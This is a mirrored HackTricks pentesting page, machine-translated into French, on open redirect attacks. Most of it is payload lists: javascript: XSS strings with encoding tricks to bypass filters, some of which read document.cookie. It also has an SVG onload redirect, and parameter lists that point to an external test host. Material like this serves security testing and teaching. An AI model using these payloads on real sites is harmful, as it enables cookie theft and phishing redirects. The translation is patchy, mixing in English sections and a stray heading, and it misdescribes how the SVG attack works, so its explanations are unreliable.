Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/open-redirect.md
Translator workflow af42105553 Translated to French
2023-06-03 13:10:46 +00:00

11 KiB
Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Redirection ouverte

Redirection vers localhost ou des domaines arbitraires

{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Redirection ouverte vers XSS

#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)

#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)

#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)

#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0

#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//

Redirection ouverte lors du téléchargement de fichiers svg

Lorsqu'un site Web permet aux utilisateurs de télécharger des fichiers svg, il est possible d'exploiter une vulnérabilité de redirection ouverte. Cette vulnérabilité permet à un attaquant de rediriger un utilisateur vers un site malveillant en utilisant un lien spécialement conçu.

Pour exploiter cette vulnérabilité, l'attaquant doit télécharger un fichier svg contenant un code malveillant qui redirige l'utilisateur vers un site malveillant. Lorsque l'utilisateur télécharge le fichier svg, le code malveillant est exécuté et redirige l'utilisateur vers le site malveillant.

Pour se protéger contre cette vulnérabilité, les sites Web doivent valider les fichiers téléchargés et s'assurer qu'ils ne contiennent pas de code malveillant. Les utilisateurs doivent également être conscients des risques liés au téléchargement de fichiers provenant de sources inconnues.

<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>

Paramètres d'injection courants

Description

Les paramètres d'injection sont des entrées utilisateur qui peuvent être utilisées pour injecter du code malveillant dans une application. Les attaquants peuvent utiliser ces paramètres pour exécuter des attaques d'injection de code, telles que l'injection SQL, l'injection de commandes, l'injection de scripts entre autres.

Liste des paramètres courants

  • redirect
  • url
  • link
  • next
  • return
  • returnTo
  • return_path
  • path
  • continue
  • data
  • dest
  • destination
  • redir
  • redirect_uri
  • redirect_url
  • redirect_to
  • redirect_page
  • redirect_path
  • next_page
  • callback
  • return_url
  • return_path
  • return_to
  • checkout_url
  • continue_url
  • go
  • out
  • view
  • navigation
  • continue
  • continueTo
  • continue_uri
  • resume
  • resume_uri
  • feed

Il est important de noter que cette liste n'est pas exhaustive et que d'autres paramètres peuvent également être vulnérables à l'injection de code.

/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io

Exemples de code

.Net

response.redirect("~/mysafe-subdomain/login.aspx")

Java

Description

Java is a high-level, class-based, object-oriented programming language that is designed to have as few implementation dependencies as possible. It is intended to let application developers write once, run anywhere (WORA), meaning that compiled Java code can run on all platforms that support Java without the need for recompilation. Java applications are typically compiled to bytecode that can run on any Java virtual machine (JVM) regardless of the underlying computer architecture.

Open Redirect

Java web applications can also be vulnerable to open redirect attacks. An open redirect vulnerability occurs when a web application accepts a user-supplied input that is used to redirect the user to a different page or website. Attackers can exploit this vulnerability by crafting a malicious URL that redirects the user to a phishing site or a site hosting malware.

To identify open redirect vulnerabilities in Java web applications, testers can use the same techniques as for other web applications. They can manually inspect the application's source code and look for instances where user-supplied input is used to construct a redirect URL. They can also use automated tools to scan the application for open redirect vulnerabilities.

Prevention

To prevent open redirect vulnerabilities in Java web applications, developers should validate all user-supplied input that is used to construct a redirect URL. They should also ensure that the redirect URL is a relative URL or a URL within the same domain as the application. Additionally, developers should use a whitelist approach to validate input, rather than a blacklist approach.

response.redirect("http://mysafedomain.com");

PHP

French Translation

PHP

<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>

Outils

Ressources

Dans https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect, vous pouvez trouver des listes de fuzzing.
https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html
https://github.com/cujanovic/Open-Redirect-Payloads

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥